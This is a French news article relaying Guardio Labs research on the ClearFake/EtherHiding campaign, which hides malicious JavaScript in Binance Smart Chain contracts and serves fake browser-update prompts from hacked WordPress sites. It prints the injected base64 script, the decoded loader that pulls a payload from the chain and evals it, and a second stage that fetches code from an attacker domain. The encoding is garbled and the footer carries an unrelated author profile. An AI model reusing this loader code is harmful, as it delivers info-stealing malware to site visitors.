Binance est une plateforme de trading de cryptomonnaies qui permet �galement de cr�er et d�ex�cuter des applications d�centralis�es et des contrats intelligents, c�est-�-dire des accords cod�s qui s�ex�cutent automatiquement lorsque certaines conditions sont remplies. Mais cette technologie innovante a aussi attir� l�attention de certains acteurs malveillants, qui ont trouv� un moyen d�utiliser le r�seau Binance Smart Chain (BSC) pour h�berger et diffuser leur logiciel malveillant en toute impunit�.
L�une des plus anciennes astuces de malware (des sites Web pirat�s pr�tendant que les visiteurs doivent mettre � jour leur navigateur Web avant de pouvoir afficher un contenu) a repris vie au cours des derniers mois. De nouvelles recherches montrent que les attaquants � l'origine d'un tel syst�me ont d�velopp� un moyen ing�nieux d'emp�cher leurs logiciels malveillants d'�tre supprim�s par des experts en s�curit� ou par les forces de l'ordre : en h�bergeant les fichiers malveillants sur une blockchain de crypto-monnaie d�centralis�e et pseudo-anonyme.
En ao�t 2023, le chercheur en s�curit� Randy McEoin a �crit sur une arnaque qu'il a surnomm�e ClearFake, qui utilise des sites WordPress pirat�s pour proposer aux visiteurs une page pr�tendant que vous devez mettre � jour votre navigateur avant de pouvoir afficher le contenu.
Les fausses alertes de navigateur sont sp�cifiques au navigateur que vous utilisez. Ainsi, si vous surfez sur le Web avec Chrome, par exemple, vous recevrez une invite de mise � jour de Chrome. Ceux qui sont tromp�s en cliquant sur le bouton de mise � jour verront un fichier malveillant d�pos� sur leur syst�me qui tente d'installer un cheval de Troie volant des informations.
Selon une �tude men�e par Guardio Labs, une unit� de recherche de la soci�t� de s�curit� Guardio, les escrocs ont mis en place une campagne baptis�e EtherHiding, qui consiste � injecter du code Javascript malveillant dans des sites web compromis, g�n�ralement des sites WordPress. Ce code va ensuite interroger le r�seau BSC en cr�ant un contrat intelligent avec une adresse blockchain contr�l�e par les attaquants. Ce contrat va renvoyer une charge utile malveillante et obfusqu�e, qui va � son tour contacter un serveur de commande et de contr�le (C2) pour afficher aux visiteurs des sites infect�s une fausse alerte leur demandant de mettre � jour leur navigateur. Si la victime clique sur le bouton de mise � jour, elle est redirig�e vers le t�l�chargement d�un ex�cutable malveillant h�berg� sur Dropbox ou d�autres services l�gitimes de partage de fichiers.
Le logiciel malveillant ainsi t�l�charg� peut �tre un chargeur (loader) qui va installer d�autres programmes malveillants plus sophistiqu�s, tels que des voleurs d�informations (stealers), des chevaux de Troie ou des logiciels espions. Parmi les logiciels malveillants observ�s dans cette campagne, on trouve Amadey, Lumma, RedLine, DanaBot, Raccoon, Remcos, SystemBC ou Vidar.
Au cours des deux derniers mois environ, nous avons �t� confront�s � une nouvelle campagne de propagation de logiciels malveillants par � fausses mises � jour �. Dans le flux d'attaque, un site est d�grad� avec une superposition tr�s cr�dible exigeant une mise � jour du navigateur avant de pouvoir acc�der au site. La fausse � mise � jour � s�av�re �tre un malware voleur d�informations vicieux comme RedLine, Amadey ou Lumma.
Cette campagne, baptis�e � ClearFake �, identifi�e par Randy McEoin, commence son attaque sur des sites WordPress compromis o� les attaquants int�grent un code JS dissimul�. Ce code initial � t�te de pont � est inject� dans les pages d�articles et r�cup�re une charge utile de deuxi�me �tape aupr�s d�un serveur contr�l� par les attaquants, qui effectue ensuite le reste du site.
Gr�ce � cette m�thode, l�attaquant peut modifier � distance et instantan�ment le processus d�infection et afficher le message de son choix. Il peut changer de tactique, mettre � jour les domaines bloqu�s et d�sactiver les charges utiles d�tect�es sans r�acc�der aux sites WordPress. Dans le cas de � ClearFake �, le code de la deuxi�me �tape �tait h�berg� sur Cloudflare Workers. Cela a �t� efficace jusqu'� ce que CloudFlare bloque ces comptes, interrompant potentiellement l'ensemble de la campagne.
Pourtant, dans cette �volution de � ClearFake �, nous constatons que les acteurs malveillant ont introduit une nouvelle m�thode d�h�bergement de code malveillant de mani�re anonyme et sans aucune limitation : un v�ritable h�bergement � Bullet Proof � facilit� par la Blockchain.
Pas de crypto-arnaques ici, alors pourquoi Binance ?
Le nouveau processus d'infection, � premi�re vue, est le m�me qu'auparavant : il utilise les m�mes domaines et adresses IP, mais d�s la premi�re entr�e du site WordPress compromis, nous voyons un nouveau trafic r�seau inconnu dirig� vers des serveurs contr�l�s par Binance. Qu�est-ce que Binance, l�une des plus grandes bourses de crypto-monnaie au monde, a � voir avec tout cela ? Les chercheurs ont commenc� par examiner la nouvelle variante du code de premi�re �tape :
1 | <script src="https://cdn.ethers.io/lib/ethers-5.2.umd.min.js" type="application/javascript"></script> <script src="data:text/javascript;base64,YXN5bmMgZnVuY3Rpb24gbG9hZCgpe2xldCBwcm92aWRlcj1uZXcgZXRoZXJz LnByb3ZpZGVycy5Kc29uUnBjUHJvdmlkZXIoImh0dHBzOi8vYnNjLWRhdGFzZWVkMS5iaW5hbmNlLm9yZy8iKSxzaWduZXI9cHJvd [......]b2FkOw=="></script> |
Les deux balises de script d�crites ci-dessus sont les moyens par lesquels les acteurs malveillants s�emparent de l�int�gralit� d�un site WordPress. Les attaquants ins�rent ce code dans le mod�le principal d'un site WordPress, exploitant souvent des plugins vuln�rables (par exemple Balada Injector), des versions WordPress obsol�tes ou en utilisant des informations d'identification de site vol�es acquises sur le dark web.
Le code ci-dessus est simplement obscurci en Base64, ce qui se traduit par l'ex�cution de ce qui suit sur chaque page charg�e � partir du site compromis :
1 | // include <https://cdn.ethers.io/lib/ethers-5.2.umd.min.js> async function load() { let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"), signer = provider.getSigner(), address = "0x7f36D9292e7c70A204faCC2d255475A861487c60", ABI = [ { inputs: [{ internalType: "string", .......}, { inputs: [], name: "get", ......}, { inputs: [], name: "link", ....... }, ], contract = new ethers.Contract(address, ABI, provider), link = await contract.get(); eval(atob(link)); } window.onload = load; |
Cette partie du code malveillant interroge la BlockChain BSC. Il cr�e une nouvelle instance de contrat en l�initialisant avec l�adresse blockchain fournie et contr�l�e par l�attaquant. Il fournit �galement l�ABI (Application Binary Interface) qui d�clare les fonctions et la structure du contrat. La fonction appel�e est get(), et elle interrogera essentiellement le contrat pour renvoyer une charge utile sp�cifi�e qui sera ensuite d�cod�e et �valu�e en tant que code JavaScript avec la fonction eval().
BSC, ou Binance Smart Chain, lanc�e il y a trois ans, est la r�ponse de Binance � Ethereum, con�ue pour ex�cuter plus efficacement des applications d�centralis�es et des � contrats intelligents �. Alors qu'Ethereum est une blockchain publique dot�e de capacit�s de crypto-monnaie et de contrats, BSC appartient � Binance et se concentre sur les contrats : des accords cod�s qui ex�cutent automatiquement des actions lorsque certaines conditions sont remplies. Ces contrats offrent des moyens innovants de cr�er des applications et des processus. En raison de la nature publique et immuable de la blockchain, le code peut �tre h�berg� � en cha�ne � sans possibilit� de retrait.
C�est ce que nous voyons ici dans cette attaque : le code malveillant est h�berg� et servi d�une mani�re qui ne peut pas �tre bloqu�. Contrairement � son h�bergement sur un service Cloudflare Worker, comme cela �tait att�nu� sur la variante pr�c�dente. Il s�agit v�ritablement d�une arme � double tranchant dans le domaine de la technologie d�centralis�e.
Analyse du contrat intelligent malveillant
Les chercheurs indiquent qu'ils ne peuvent pas voir le code r�el utilis� pour compiler ce contrat, mais ils ont acc�s � son bytecode (d�centralis� et transparent apr�s tout). Une fois d�compil�, voici sa fonctionnalit� simple en action :
1 | def storage: stor0 is array of struct at storage 0 def update(string _newName) payable: require calldata.size - 4 >= 32 require _newName <= -1 require _newName + 35 < calldata.size if _newName.length > -1: revert with 'NH{q', 65 require _newName + _newName.length + 36 <= calldata.size if bool(stor0.length): if bool(stor0.length) == stor0.length.field_1 < 32: revert with 'NH{q', 34 if _newName.length: stor0[].field_0 = Array(len=_newName.length, data=_newName[all]) else: {...} def get() payable: if bool(stor0.length): if bool(stor0.length) == stor0.length.field_1 < 32: revert with 'NH{q', 34 {..} if stor0.length.field_1: if 31 < stor0.length.field_1: mem[128] = uint256(stor0.field_0) idx = 128 s = 0 while stor0.length.field_1 + 96 > idx: mem[idx + 32] = stor0[s].field_256 idx = idx + 32 s = s + 1 continue return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)]) mem[128] = 256 * stor0.length.field_8 else: {...} return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]), def unknown1c4695f4() payable: {...} |
Il s'agit d'une application de contrat simple qui utilise la fonction de stockage du contrat (la variable de tableau stor0). La m�thode update() enregistre l'entr�e dans ce stockage � octet par octet et la m�thode get() lit le stockage et renvoie sa valeur sous forme de cha�ne. De cette fa�on, en interagissant avec le contrat, les donn�es peuvent �tre �crites ou mises � jour sur la cha�ne.
Nous pouvons le voir dans l�historique des transactions sur le BSC, � partir de la cr�ation du contrat le 9 septembre 2023 par une autre adresse contr�l�e par un attaquant. Cette autre adresse, cr��e fin juin 2022, a �t� charg�e en BNB (The Binance Coin) d'un montant juste suffisant pour cr�er et mettre � jour le contrat � des activit�s qui ne sont pas r�ellement payables, mais qui co�tent quelques frais de � gaz � habituels mineurs (entre 0,02 � 0,60 USD chacune) :
Seule la premi�re mise � jour du contrat est clairement un test (puisqu�elle ne comprenait en r�alit� que la cha�ne � test �), mais toutes les suivantes sont des morceaux �vidents de code JavaScript. Lorsque les premi�res entr�es sont assez simples, ces derni�res ajoutent davantage de techniques d'obscurcissement JavaScript mais continuent � faire les m�mes quelques activit�s simples que celles vues dans cette premi�re entr�e (apr�s d�codage depuis Base64) :
1 | const get_k_script = () => { let e = new XMLHttpRequest(); return e.open("GET", "https://921hapudyqwdvy[.]com/vvmd54/", !1), e.send(null), e.responseText; }; eval(get_k_script()); |
Il s'agit exactement du m�me code que nous avons vu sur les variantes pr�c�dentes de ClearFake (tel que renvoy� par le service CloudFlare), seul le domaine de deuxi�me �tape est modifi� presque quotidiennement - cela montre � quel point il est facile de mettre � jour l'ensemble de la cha�ne d'attaque avec une simple transaction blockchain.
Nous constatons que chaque fois que leur domaine est � br�l� �, une mise � jour de la cha�ne est publi�e pour �changer le code malveillant et les domaines affili�s � au moins 30 domaines malveillants et ce n�est pas fini.
Conclusion
L�avantage pour les escrocs d�utiliser le r�seau BSC est qu�il s�agit d�un service d�centralis�, anonyme et public, qui ne peut pas �tre censur� ou supprim�. En effet, le code h�berg� sur la blockchain est immuable et accessible � tous. De plus, l�interrogation du contrat intelligent est une op�ration gratuite, qui �tait initialement con�ue pour d�boguer les probl�mes d�ex�cution des contrats sans impact r�el. Ainsi, les escrocs disposent d�un moyen gratuit, discret et robuste pour diffuser leur logiciel malveillant sans laisser de traces.
Face � cette menace, Binance a d�clar� �tre conscient du probl�me et avoir pris des mesures pour y rem�dier. La soci�t� a indiqu� avoir mis sur liste noire toutes les adresses associ�es � la propagation du logiciel malveillant et avoir d�velopp� un mod�le pour d�tecter les futurs contrats intelligents qui utilisent des m�thodes similaires pour h�berger des scripts malveillants.
Les experts en s�curit� recommandent aux utilisateurs de se m�fier des alertes de mise � jour suspectes et de v�rifier la source et la l�gitimit� des fichiers qu�ils t�l�chargent. Ils conseillent �galement d�utiliser un logiciel antivirus � jour et de sauvegarder r�guli�rement leurs donn�es.
Source : Guardio Labs
Et vous ?
Que pensez-vous de l�utilisation du r�seau BSC par les escrocs pour h�berger leur logiciel malveillant? Est-ce une preuve de l�ing�niosit� des hackers ou de la vuln�rabilit� des technologies d�centralis�es?
Que pensez-vous des mesures que Binance a prises pour contrer cette menace? Sont-elles suffisantes ou faut-il renforcer la s�curit� du r�seau BSC?
Quels sont les risques pour les utilisateurs de cryptomonnaies qui visitent des sites web infect�s par cette campagne? Comment peuvent-ils se prot�ger efficacement contre ce type d�attaque?
Author: Anthony Black
Last Updated: 1698327481
Views: 1552
Rating: 4 / 5 (72 voted)
Reviews: 83% of readers found this page helpful
Name: Anthony Black
Birthday: 1997-09-22
Address: 0601 Stephens Flats Suite 628, Rodriguezside, TN 22530
Phone: +4629205749867400
Job: Firefighter
Hobby: Beer Brewing, DIY Electronics, Backpacking, Cooking, Playing Chess, Poker, Writing
Introduction: My name is Anthony Black, I am a candid, Adventurous, vivid, Colorful, striking, accomplished, Open person who loves writing and wants to share my knowledge and understanding with you.